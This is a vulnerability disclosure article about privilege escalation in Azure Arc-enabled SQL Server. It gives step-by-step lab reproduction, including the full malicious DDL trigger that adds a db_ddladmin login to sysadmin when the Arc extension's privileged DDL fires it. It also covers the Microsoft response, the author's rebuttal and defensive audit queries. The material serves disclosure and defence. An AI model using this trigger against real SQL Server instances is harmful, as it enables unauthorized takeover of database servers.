Azure Arc-enabled SQL Server is designed to bring on-premises and multi-cloud SQL Server instances under centralized Azure management, but a newly documented privilege escalation technique shows how that same management workflow can be turned against the server it’s meant to protect.
By combining a database-level DDL trigger with the elevated identity the Azure Arc extension uses during onboarding and configuration, a login with nothing more than db_ddladmin permissions in a single database can escalate to full sysadmin control over the entire SQL Server instance. The result? Complete server compromise.
In this investigative guide, Fabiano Amorim explains how the vulnerability works, how to reproduce it in a lab environment, why Microsoft classified it as Low severity, why that classification is disputed, and what mitigations are available today.
Disclosure note
I reported this vulnerability to the Microsoft Security Response Center on June 8, 2026. Microsoft investigated it, classified it as Low severity, stated that it did not meet the bar for immediate service, and declined to issue a CVE.
Microsoft’s position is that the demonstrated trigger-based escalation falls within SQL Server’s documented trigger security model and, given the permissions required to create or modify the trigger, does not cross a SQL Server security boundary.
This article presents the demonstrated technical behavior, Microsoft’s assessment of that behavior, and the reasons I disagree with Microsoft’s security-boundary and severity conclusions.
At this point, I hope you’re already aware of SQL Server permission hijacking via triggers (if not, check out the articles below):
In this article, I’d like to disclose a privilege escalation vulnerability in the Azure Extension for SQL Server used by Azure Arc-enabled SQL Server.
How does the Azure Arc SQL Server privilege escalation vulnerability work?
- A login with
db_ddladmin(or equivalent permissions sufficient to create a database-level DDL trigger) in one database creates a database-level DDL trigger.
- The Azure Arc SQL extension connects to the SQL Server instance using a highly privileged identity.
- The extension enters the attacker-controlled database and executes database-level DDL commands.
- Those commands fire the attacker-created DDL trigger.
- The trigger executes under the privileged context supplied by the Azure Arc operation.
- The trigger performs server-level administrative actions.
- The original login becomes a member of the
sysadminfixed server role.
The attacker can’t execute the server-level operation directly, but the escalation succeeds because the Azure Arc SQL extension enters the database while retaining a privileged server-level execution context.
The result of the attack – and Microsoft’s response
The final result is complete compromise of the SQL Server instance. An attacker can access every database, create logins, change server configuration, disable auditing, establish persistence, modify data outside the original database, and perform any other operation available to a SQL Server system administrator.
I’ve reported this to Microsoft and they closed the case, classifying it as “Low severity and does not meet Microsoft’s bar for immediate servicing”. You can read more details on the report timeline later in this article.
But, just to provide some details around my concern, I’d like to start with some comments about it:
- Microsoft’s own SQL Server trigger-security documentation warns that DDL triggers execute under the security context of the principal that caused the triggering statement. Microsoft provides an example in which a database user creates a trigger that grants them
CONTROL SERVERwhen a sysadmin later executes an otherwise legitimate DDL statement.
- Azure Arc performs exactly the kind of privileged DDL operation described. It enters user databases, creates users and roles, changes role membership, and grants or revokes permissions. These statements can fire database-level DDL triggers.
What component of Azure Arc-enabled SQL Server is affected?
The affected workflow is associated with Azure Arc-enabled SQL Server, Azure Extension for SQL Server, Azure Arc SQL Server onboarding and configuration, and database-level permission and role configuration performed by the extension.
During onboarding and configuration, the extension performs operations inside SQL Server user databases. Observed commands included operations similar to:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
CREATE USER [NT AUTHORITY\SYSTEM] FOR LOGIN [NT AUTHORITY\SYSTEM]; CREATE ROLE [SQLArcExtensionUserRole]; ALTER ROLE [SQLArcExtensionUserRole] ADD MEMBER [NT AUTHORITY\SYSTEM]; REVOKE SELECT FROM [SQLArcExtensionUserRole]; REVOKE EXECUTE FROM [SQLArcExtensionUserRole]; |
These commands can fire database-level DDL triggers, which itself is not a problem. The real issue is that the extension performs the commands while retaining enough server-level authority for the trigger to execute operations such as:
|
1 2 |
ALTER SERVER ROLE [sysadmin] ADD MEMBER [TestLogin1]; |
That operation is not available to the original login with permission to create a DDL trigger. It only becomes available when the Microsoft-managed operation fires the trigger.
Is db_ddladmin the same as sysadmin in SQL Server?
In SQL Server, there’s a clear distinction between database-level and server-level permissions. A login with permission to execute DDL commands is a powerful one, allowing the principal to create, alter, and remove many types of database objects.
However, it doesn’t make the login a SQL Server system administrator (sysadmin).
For example, a login that is a member of db_ddladmin in one database does not automatically have permission to:
- Access every other database.
- Add itself to sysadmin.
- Create arbitrary server logins.
- Grant
CONTROL SERVER.
- Change server-wide configuration.
- Disable server-level auditing.
- Administer SQL Server Agent.
- Configure linked servers.
- Access credentials and server-level secrets.
- Execute unrestricted operating-system commands through privileged SQL Server functionality.
All of these capabilities belong to a different security scope entirely.
How to reproduce the vulnerability
I managed to reproduce the vulnerability in SQL Server 2025 with Azure Arc SQL Server onboarding, Azure Extension for SQL Server, a user database named TestDB1, and a SQL login called TestLogin1.
The server was connected to Azure Arc using the Connect SQL Server enabled by Azure Arc onboarding workflow from the Azure portal.
Here’s how to reproduce the vulnerability, step-by-step, in detail.
Step 1: Install SQL Server and prepare Azure Arc onboarding
Install SQL Server on a Windows machine. Then, from the Azure portal, start the workflow for connecting a SQL Server instance to Azure Arc. Generate the corresponding onboarding script.
Do not complete the privileged Arc database operations yet. First, prepare the database and the attacker-controlled login.
Step 2: Create the test database
Connect to SQL Server as an administrator and create a database:
|
1 2 |
CREATE DATABASE TestDB1; GO |
Step 3: Create a login without server-level administrative permissions
Create a SQL Server login:
|
1 2 3 |
CREATE LOGIN TestLogin1 WITH PASSWORD = 'Use-A-Strong-Test-Password-Here'; GO |
Create a database user in TestDB1 and add it to db_ddladmin:
|
1 2 3 4 5 6 7 8 9 10 |
USE TestDB1; GO CREATE USER TestLogin1 FOR LOGIN TestLogin1; GO ALTER ROLE db_ddladmin ADD MEMBER TestLogin1; GO |
At this point, TestLogin1 has DDL administrative authority inside TestDB1, but is not a SQL Server system admin.
Verify the current state:
|
1 2 3 4 5 6 7 |
SELECT IS_SRVROLEMEMBER ( 'sysadmin', 'TestLogin1' ) AS IsSysAdmin; GO |
The expected result is:
|
1 2 3 |
IsSysAdmin ---------- 0 |
Step 4: Confirm that the login cannot escalate directly
Connect to SQL Server as TestLogin1 and try to add the login to sysadmin:
|
1 2 3 |
ALTER SERVER ROLE [sysadmin] ADD MEMBER [TestLogin1]; GO |
The command should fail, with a permission error similar to:
|
1 |
The current user does not have permission to perform this action. |
This negative test is important, proving that db_ddladmin does not directly provide the server-level authority required to modify the sysadmin role. The missing authority will later be supplied by the Azure Arc SQL extension.
Step 5: Create a table to record trigger execution
While connected as TestLogin1, create a table inside TestDB1:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
USE TestDB1; GO CREATE TABLE dbo.tbl_DdlTrigger ( Id INT IDENTITY(1,1) NOT NULL PRIMARY KEY, EventType NVARCHAR(4000) NULL, LoginName SYSNAME NULL, UserName SYSNAME NULL, OriginalLoginName SYSNAME NULL, IsSysAdmin INT NULL, CommandText NVARCHAR(MAX) NULL, EventDataXml XML NULL, CreatedAt DATETIME2 NOT NULL DEFAULT SYSUTCDATETIME() ); GO |
This table will record:
- The DDL event type.
- The effective login.
- The effective database user.
- The original login.
- Whether the executing context is a system administrator.
- The command that fired the trigger.
- The complete XML returned by
EVENTDATA().
Step 6: Create the malicious database-level DDL trigger
Still connected as TestLogin1, create the following trigger:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
USE TestDB1; GO CREATE OR ALTER TRIGGER trg_AzureArc_DdlHijack ON DATABASE FOR DDL_DATABASE_LEVEL_EVENTS AS BEGIN SET NOCOUNT ON; DECLARE @EventData XML = EVENTDATA(); DECLARE @CommandText NVARCHAR(MAX); SELECT @CommandText = @EventData.value ( '(/EVENT_INSTANCE/TSQLCommand/CommandText)[1]', 'nvarchar(max)' ); BEGIN TRY INSERT INTO dbo.tbl_DdlTrigger ( EventType, LoginName, UserName, OriginalLoginName, IsSysAdmin, CommandText, EventDataXml ) SELECT @EventData.value ( '(/EVENT_INSTANCE/EventType)[1]', 'nvarchar(4000)' ), SUSER_SNAME(), USER_NAME(), ORIGINAL_LOGIN(), IS_SRVROLEMEMBER('sysadmin'), @CommandText, @EventData; END TRY BEGIN CATCH -- Ignore logging failures. END CATCH; BEGIN TRY ALTER SERVER ROLE [sysadmin] ADD MEMBER [TestLogin1]; END TRY BEGIN CATCH /* This fails when the trigger is fired under TestLogin1's normal execution context. It succeeds when the trigger is fired by the privileged Azure Arc SQL operation. */ END CATCH; END; GO |
The trigger performs two actions: first, recording information about the DDL event and its execution context. Second, it attempts to add TestLogin1 to the sysadmin role.
Step 7: Execute Azure Arc SQL Server onboarding
Return to the Azure Arc onboarding workflow and execute the generated PowerShell script on the SQL Server host.
During onboarding and extension configuration, the Azure Arc SQL extension connects to SQL Server and performs database-level DDL operations inside all databases in the instance.
Examples observed during testing included operations similar to:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
USE [TestDB1]; CREATE USER [NT AUTHORITY\SYSTEM] FOR LOGIN [NT AUTHORITY\SYSTEM]; CREATE ROLE [SQLArcExtensionUserRole]; ALTER ROLE [SQLArcExtensionUserRole] ADD MEMBER [NT AUTHORITY\SYSTEM]; REVOKE SELECT FROM [SQLArcExtensionUserRole]; REVOKE EXECUTE FROM [SQLArcExtensionUserRole]; |
These statements cause trg_AzureArc_DdlHijack to execute. The following statement inside the trigger now succeeds:
|
1 2 |
ALTER SERVER ROLE [sysadmin] ADD MEMBER [TestLogin1]; |
The Azure Arc operation has now effectively become a privileged deputy for the attacker.
Step 8: Verify the privilege escalation
After onboarding or configuration completes, check the login’s server-role membership:
|
1 2 3 4 5 6 7 |
SELECT IS_SRVROLEMEMBER ( 'sysadmin', 'TestLogin1' ) AS IsSysAdmin; GO |
The observed result is:
|
1 2 3 |
IsSysAdmin ---------- 1 |
TestLogin1 has escalated to sysadmin across the entire SQL Server instance. No vulnerability in password authentication was required, no stolen administrator credential was required, and no direct server-level permission was granted to the attacker.
The attacker simply prepared code in a database they were authorized to administer. The Microsoft-managed extension then executed inside that database with enough authority to convert the prepared code into full instance compromise.
Step 9: Review the trigger evidence
Query the logging table:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
USE TestDB1; GO SELECT Id, EventType, LoginName, UserName, OriginalLoginName, IsSysAdmin, CommandText, CreatedAt FROM dbo.tbl_DdlTrigger ORDER BY Id; GO |
The observed event types included:
|
1 2 3 4 |
CREATE_USER CREATE_ROLE ADD_ROLE_MEMBER REVOKE_DATABASE |
The recorded command text contained Azure Arc-related database configuration activity. The evidence demonstrates three important facts:
1. The Azure Arc SQL extension executed DDL inside TestDB1.
2. The extension’s commands fired the attacker-controlled trigger.
3. The trigger had enough inherited authority to execute server-level administrative operations.
The final transition from database-level authority to instance-level sysadmin was therefore not performed by TestLogin1 alone. Instead, it depended on the privileged execution context introduced by Azure Arc.
Protect your data. Demonstrate compliance.
Why is this an Azure Arc vulnerability and not just a SQL Server trigger risk?
Microsoft’s position (low severity assessment) is based on the fact that SQL Server documents the risks associated with executable database code and elevated trigger execution.
That documentation describes the underlying SQL Server behavior, but doesn’t answer whether the Azure Arc SQL extension is actually using that behavior safely.
The extension:
- Enters customer-controlled databases.
- Executes commands that invoke database-level DDL triggers.
- Uses an identity with server-level authority.
- Exposes that authority to code controlled by a database-scoped principal.
- Performs database operations without first reducing its effective security context.
These are Azure Arc execution-model decisions – after all, the trigger doesn’t magically acquire server-level authority just by existing! The authority comes from the caller. So, without the Azure Arc operation, the trigger’s attempt to add TestLogin1 to sysadmin fails.
With the Azure Arc operation, however, it succeeds. Rather than being incidental to the exploit, the privileged caller is, in fact, the component that completes it.
This is a classic privileged-callback or confused-deputy pattern:
|
1 2 3 4 5 |
Attacker controls callback + Privileged service invokes callback = Attacker gains service authority |
In my opinion, describing the callback mechanism as documented does not make invoking it with excessive privileges safe.
The Microsoft disclosure timeline
I submitted the vulnerability to the Microsoft Security Response Center (MSRC) on June 8, 2026. In response, Microsoft opened MSRC Case 121160.
The original report included:
- A description of the vulnerable workflow.
- The expected security boundary.
- Complete reproduction steps.
- SQL code for the trigger.
- Evidence collected from the trigger.
- SQL Server Profiler observations.
- A video demonstrating the complete escalation.
- Recommendations for reducing the Arc execution context.
Then, after more than a month (July 15, 2026), Microsoft classified the vulnerability as Low severity. Their explanation was that exploitation requires membership in db_ddladmin, which it described as a highly privileged role not recommended for production use.
I’ve to confess that I was very surprised to read that db_ddladmin is not recommended for production use. Microsoft also referred to documentation warning that members of the role can potentially elevate privileges by manipulating code that may later execute under a more privileged context.
They concluded:
- The case did not meet its bar for immediate servicing.
- No common vulnerabilities and exposures (CVE) would be issued.
- MSRC would not continue tracking the issue.
- The report would be shared with the responsible product team.
Microsoft’s argument
Microsoft’s assessment can be summarized as follows:
1. db_ddladmin (or equivalent permission to create a trigger) is a highly privileged database role/privilege.
2. Users can create or modify executable database objects.
3. Microsoft documents that such objects may later execute under elevated contexts.
4. Administrators should therefore treat the role/privilege carefully.
5. Escalation through a DDL trigger is part of the documented SQL Server security model.
6. The path from db_ddladmin (or equivalent) to sysadmin is, consequently, as expected. It does not represent a security-boundary violation.
7. The issue is Low severity and below the bar for immediate servicing.
To note, I do agree that users with permission to create or alter executable database objects can prepare code that becomes dangerous when invoked by a privileged principal.
However, I also disagree with some points, as I’ll outline next.
Why I disagree with Microsoft
Here’s what I disagree with Microsoft about, and why.
db_ddladmin (or equivalent permission to create a trigger) is not sysadmin
A user with db_ddladmin permissions in a database (or equivalent permission to create a trigger), has powerful control over that database. They don’t, however, have unrestricted control over the SQL Server instance.
If Microsoft considers this equivalent to sysadmin, SQL Server should explicitly treat it that way – but it doesn’t. The direct server-level escalation command fails before the Azure Arc operation, demonstrating the boundary more clearly than any documentation wording:
|
1 2 |
ALTER SERVER ROLE [sysadmin] ADD MEMBER [TestLogin1]; |
The login can’t execute this – but if the path to sysadmin were truly an expected privilege, it would be able to (and without needing to wait for a Microsoft service to enter the database with elevated authority.)
The documentation warns privileged callers, not only database administrators
Microsoft relies heavily on documentation explaining that code created by database users can be dangerous when executed by a more privileged context – a warning that applies directly to the Azure Arc SQL extension.
I agree with this. A privileged component that enters a database containing user-controlled executable objects must assume those objects are hostile. The correct response is not:
The attacker was allowed to create the callback, so the privileged service is not responsible for invoking it with excessive authority.
That logic transfers responsibility away from the privileged component even though the component supplies the exact permission required to complete the attack.
My disagreement is therefore not whether SQL Server documents the trigger behavior – it does. The question is whether Azure Arc’s privileged configuration workflow should invoke that documented mechanism while carrying server-level authority into a database where less-privileged principals can control executable metadata.
The argument is circular
Microsoft’s reasoning can be reduced to: db_ddladmin can be dangerous because privileged code may execute objects created by the role. The Azure Arc extension then does exactly that, executing privileged DDL in a database containing objects controlled by db_ddladmin.
Microsoft then concludes: Because this behavior is documented as dangerous, the resulting privilege escalation is expected.
Overall, this is circular. The documentation identifies a dangerous pattern, the Arc extension implements the dangerous pattern, and Microsoft then uses the documentation describing the danger as justification for leaving the dangerous implementation.
Documentation can warn customers about a risk, but doesn’t convert an avoidable unsafe design into a safe one.
The attacker does not possess the decisive privilege
The attacker controls the trigger body. It doesn’t possess the authority needed to execute:
|
1 2 |
ALTER SERVER ROLE [sysadmin] ADD MEMBER [TestLogin1]; |
Azure Arc possesses that authority, and that’s how the exploit succeeds: Azure Arc invokes attacker-controlled code while retaining its authority. This is the decisive fact.
With that in mind, the question is: Should a Microsoft-managed service expose unrestricted server-level authority to code controlled by a database-scoped principal?
My answer is no.
The assessment creates an unreasonable customer-security model
In Microsoft’s reasoning, customers must assume that granting db_ddladmin (or equivalent permission to create a trigger) in any database may eventually grant the recipient sysadmin whenever a sufficiently privileged Microsoft or third-party service performs DDL in that database.
That’s a much broader security statement than saying the role can administer database DDL! It would mean organizations can’t safely delegate database schema administration while retaining central control over the SQL Server instance.
Many production environments separate responsibilities:
- Application teams manage schemas in specific databases.
- Database administrators manage the SQL Server instance.
- Service accounts perform deployment or monitoring functions.
- Platform teams configure Azure integrations.
- Security teams maintain server-level controls.
A database-scoped administrator unexpectedly obtaining server-wide control destroys that separation.
Microsoft’s classification effectively places the burden on customers to anticipate every privileged product operation that might invoke every form of executable database metadata. This isn’t a realistic security model for a cloud-management extension.
“By design” is not the same as “secure by design”
A behavior can be intentional, documented, and still unsafe. “By design” only answers one question: Does the product behave as its developers currently expect?
It does not answer: Is the design appropriate for a privileged service operating in attacker-influenceable security scopes?
The SQL Server trigger engine may be functioning exactly as designed, and perhaps the Azure Arc SQL extension is also performing its current workflow exactly as implemented. The vulnerability exists in how those designs interact.
The trigger engine executes a trigger under the caller’s context, and Azure Arc supplies an unnecessarily powerful caller. The combination allows a database-scoped principal to seize server-level control – a security design problem even if every individual component follows its documented behavior.
Subscribe to the Simple Talk newsletter
How severe is this vulnerability?
Microsoft assessed the case as Low, but I don’t believe this reflects the technical impact.
The attack requires:
- An authenticated SQL Server login or Windows principal.
- Membership in
db_ddladmin, or equivalent trigger-creation permissions, in one user database.
- An Azure Arc operation that performs privileged DDL inside that database.
All of these are meaningful preconditions and should reduce the severity compared with an unauthenticated remote compromise. They do not, however, reduce the final impact to Low.
This is because, after exploitation, the attacker obtains:
- Full SQL Server administrative authority.
- Access outside the originally authorized database.
- Persistent control over the instance.
- The ability to compromise confidentiality, integrity, and availability.
The post-exploitation impact is unquestionably high: sysadmin over the SQL Server instance. I understand the prerequisites reduce exploitability (not every login can exploit this), but it’s not enough to justify a low severity assessment for a database-to-server privilege escalation exploit.
What’s the root cause of the vulnerability?
The root cause of the vulnerability is simple: the Azure Arc SQL extension performs database-scoped operations while retaining a security context capable of server-level administration.
The vulnerable design is:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
Highly privileged Arc identity | v Enters a customer-controlled database | v Executes DDL that fires customer-controlled triggers | v Trigger inherits privileged caller context | v Trigger performs server-level operations |
The extension fails to establish a safe privilege boundary before invoking extensible database functionality.
How can Microsoft fix the Azure Arc DDL trigger privilege escalation?
Here’s what I suggest Microsoft do to fix this vulnerability.
1. Use a constrained database-scoped principal
Before executing DDL in a user database, the extension should switch to a dedicated database-scoped principal with only the permissions required for that operation. Conceptually:
|
1 2 3 4 5 6 7 8 9 10 |
USE [TargetDatabase]; GO EXECUTE AS USER = 'SQLArcRestrictedUser'; GO -- Perform only the required database-level operations. REVERT; GO |
The principal should not have an associated server token capable of modifying server roles or executing unrestricted server-level operations. Using a purpose-built restricted user would be preferable to relying broadly on dbo.
2. Separate server-level and database-level work
The extension should divide its workflow into distinct phases:
1. Perform required server-level configuration under a server-level identity.
2. Drop the server-level execution token.
3. Enter each database using a constrained database user.
4. Perform only the required database-scoped changes.
5. Return to the server context only after leaving the customer-controlled database.
A component should not carry unrestricted authority into a lower-trust extensibility boundary unless strictly necessary.
3. Adopt least privilege by default
Least privilege should not require customers to discover and enable a safer optional configuration after deployment. The secure execution model should be the default.
Legacy compatibility may require a transition period, but this doesn’t justify making the more dangerous execution model the permanent default.
4. Review all Azure Arc database interactions
Microsoft should review any Azure Arc extension workflow that:
- Executes DDL in user databases.
- Executes DML (data manipulation language) that can invoke user-controlled code.
- Creates or modifies database principals.
- Changes role memberships.
- Grants or revokes permissions.
- Performs inventory or assessment operations.
- Deploys objects.
- Updates extension-owned objects.
- Executes stored procedures in customer-controlled databases.
DDL triggers are just one callback mechanism. The broader security requirement is that privileged service operations must not unintentionally invoke customer-controlled code with excessive authority.
5. Clearly document the privileged execution model
Microsoft should revise the Azure Arc-enabled SQL Server documentation to clearly describe the complete security context used during onboarding, permission reconciliation, feature configuration, and extension updates.
The current documentation describes different parts of the execution model across several pages, but doesn’t present them together in a way that allows customers to understand the actual privilege boundary.
For example, Microsoft’s documentation for the roles created by the Azure Extension for SQL Server states that, in non-least-privilege mode, the extension:
- Creates the
SQLArcExtensionServerRoleserver role.
- Creates the
SQLArcExtensionUserRoledatabase role.
- Adds
NT AUTHORITY\SYSTEMto those roles.
- Maps
NT AUTHORITY\SYSTEMinto each database.
- Grants the permissions required by the enabled features.
The same page says that the Deployer must connect to SQL Server as NT AUTHORITY\SYSTEM. It then lists permissions such as CONNECT SQL, VIEW SERVER STATE, VIEW ANY DEFINITION, VIEW ANY DATABASE, and CONNECT ANY DATABASE.
Read in isolation, this can reasonably give customers the impression that the extension connects and performs its work using only the restricted permissions assigned through these Arc-specific roles.
However, another Microsoft document explains a materially different and much more security-sensitive part of the process…
The contradiction
The least-privilege configuration documentation states that:
Deployer.exealways runs under the Windows LocalSystem account.
- The SQL Server service account must be a member of the
sysadminfixed server role.
Deployer.exeimpersonates the SQL Server service account when connecting to SQL Server.
- The privileged connection is used to add or remove permissions in server-level and database-level roles.
Microsoft even advises customers who do not want the SQL Server service account to remain permanently in sysadmin to grant it sysadmin temporarily, allow Deployer.exe to run, then remove it again.
This materially changes the security assumptions customers must make when Azure Arc performs operations inside their databases.
How I would make the documentation clearer
So, in my opinion, the documentation should explicitly distinguish between:
- The Windows process identity running
Deployer.exe.
- The Windows identity used for integrated SQL Server authentication.
- Any SQL Server service account impersonated by the Deployer.
- The effective SQL Server login token used to execute each operation.
- The temporary or permanent server-level permissions available to that token.
- The restricted permissions later assigned to the Arc extension service account.
- The difference between the bootstrap Deployer and the long-running Extension Service.
Currently, all references to LocalSystem, NT AUTHORITY\SYSTEM, the SQL Server service account, Arc-specific roles, and least-privilege permissions are distributed across different documents. The documentation does not clearly show which identity executes each SQL statement, or when the operation runs with sysadmin or equivalent server-level authority.
This ambiguity is especially important because Microsoft’s own SQL Server trigger-security documentation warns that DDL triggers execute under the security context of the principal that caused the triggering statement. Microsoft provides an example in which a database user creates a trigger that grants them CONTROL SERVER when a sysadmin later executes an otherwise legitimate DDL statement.
Azure Arc performs exactly the kind of privileged DDL operation described in that warning. It enters user databases, creates users and roles, changes role membership, and grants or revokes permissions. These statements can fire database-level DDL triggers.
The explicit warning I’d include in the document
Microsoft’s Azure Arc documentation should therefore include an explicit warning similar to:
During onboarding and permission configuration, the Azure Extension for SQL Server Deployer can connect using a highly privileged SQL Server execution context. Database-level DDL statements executed by the Deployer can cause existing database DDL triggers to run under that context. Before onboarding a SQL Server instance or enabling Arc features, administrators should review all database-level DDL triggers and ensure that no trigger can perform unintended server-level operations.
Clearer documentation alone wouldn’t correct the underlying privilege escalation condition, but it would allow customers to understand the real security implications of onboarding SQL Server to Azure Arc so that they can take reasonable precautions until the execution model is changed.
Customer mitigations
Until the execution model is changed, organizations using Azure Arc-enabled SQL Server should consider the following defensive measures.
Review membership in db_ddladmin and equivalent permissions sufficient to create a database-level DDL trigger
Identify all members of the role:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
SELECT DB_NAME() AS DatabaseName, roles.name AS RoleName, members.name AS MemberName, members.type_desc AS MemberType FROM sys.database_role_members AS drm INNER JOIN sys.database_principals AS roles ON roles.principal_id = drm.role_principal_id INNER JOIN sys.database_principals AS members ON members.principal_id = drm.member_principal_id WHERE roles.name IN (N'db_ddladmin', N'db_owner'); |
Run the query in every database and remove any memberships that are no longer necessary.
Review database-level DDL triggers
To review database-level DDL triggers, use:
|
1 2 3 4 5 6 7 8 9 |
SELECT name, parent_class_desc, create_date, modify_date, is_disabled, OBJECT_DEFINITION(object_id) AS TriggerDefinition FROM sys.triggers WHERE parent_class_desc = N'DATABASE'; |
Review triggers for server-level commands, dynamic SQL, role changes, login creation, configuration changes, calls to privileged procedures, obfuscated or encrypted code, unexpected ownership and/or recent modifications.
Monitor trigger creation and alteration
Audit events such as CREATE_TRIGGER, ALTER_TRIGGER, and DROP_TRIGGER. Also audit database role membership changes, grants of ALTER ANY DATABASE DDL TRIGGER, and grants of broad database DDL permissions.
A trigger does not need to remain enabled forever. An attacker may create it shortly before an expected extension operation and remove it after escalation.
Review Azure Arc’s effective SQL Server permissions
Determine which login or service identity the extension uses and what server-level authority it holds. Organizations should understand whether extension database operations are occurring under sysadmin, CONTROL SERVER, NT AUTHORITY\SYSTEM, a custom server role, or another high-privilege service identity.
The relevant risk is the effective SQL Server token, not merely the Windows account name.
Isolate duties where possible
Do not assume that database schema administrators are automatically safe from server-wide escalation simply because their explicit permissions are database-scoped.
Where Azure Arc or another privileged management tool operates in the same databases:
- Minimize delegated DDL authority.
- Separate administrative identities.
- Monitor privileged service activity.
- Review all extensibility mechanisms.
- Test service operations against hostile database objects.
Final thoughts
The demonstrated behavior is not in dispute: a database-scoped principal that cannot directly modify the sysadmin role can create a DDL trigger that later succeeds in doing so when Azure Arc performs privileged DDL inside that database.
Microsoft’s position is that this result follows SQL Server’s documented trigger security model and, given the attacker’s prerequisite permissions, does not cross a recognized SQL Server security boundary. I disagree with that assessment.
The fact that SQL Server documents the risk of privileged callers executing attacker-controlled trigger code explains why the escalation works. In my view, it does not resolve the separate question of whether a privileged management component should expose its server-level authority to that code.
Azure Arc’s execution model is particularly relevant because Microsoft’s own documentation shows that Deployer.exe performs privileged SQL Server configuration operations and that least-privilege operation is not currently the default.
When such a component enters a database containing executable metadata controlled by a less-privileged principal, that database should be treated as a lower-trust execution boundary. If Microsoft recommends that customers avoid this pattern, why does Azure Arc do it anyway?
FAQs: The Azure Arc SQL Server privilege escalation vulnerability
1. What is the Azure Arc SQL Server privilege escalation vulnerability?
A login with db_ddladmin (or equivalent trigger-creation rights) in one database creates a malicious DDL trigger. When Azure Arc’s SQL extension later runs onboarding/configuration DDL in that database using its privileged identity, the trigger fires under that elevated context and adds the login to sysadmin.
2. Does this require db_ddladmin specifically?
No — any permission sufficient to create a database-level DDL trigger works. db_ddladmin is just the common example, and it’s database-scoped, not server-level, by design.
3. Is db_ddladmin the same as sysadmin?
No. db_ddladmin manages objects within one database; sysadmin controls the entire instance. The bug matters because it converts one into the other without authorization.
4. How does the attack actually work?
The attacker plants a trigger that tries to add their login to sysadmin — which fails under their own permissions. When Azure Arc later fires that trigger during a privileged DDL operation, the same command succeeds.
5. What did Microsoft say about this vulnerability?
MSRC rated it Low severity and issued no CVE, arguing db_ddladmin is already a high-privilege, escalation-capable role. The researcher disputes this, citing a similar case (108226) that Microsoft rated Important.
6. What's the actual impact if exploited?
Full sysadmin takeover of the instance: access to every database, new logins, config changes, disabled auditing, and persistence.
7. How can organizations mitigate this today?
Audit db_ddladmin/db_owner membership across databases, review existing DDL triggers for server-level commands, monitor trigger creation events, and confirm what privilege level Azure Arc’s identity actually holds.
8. Has Microsoft released a fix?
No CVE or patch as of the disclosure timeline. Microsoft calls the behavior expected under existing trigger-security documentation; the researcher argues Azure Arc’s execution model should be redesigned regardless.
References
This document contains proprietary information and is protected by copyright law.
Copyright © 2026 Red Gate Software Limited. All rights reserved
Load comments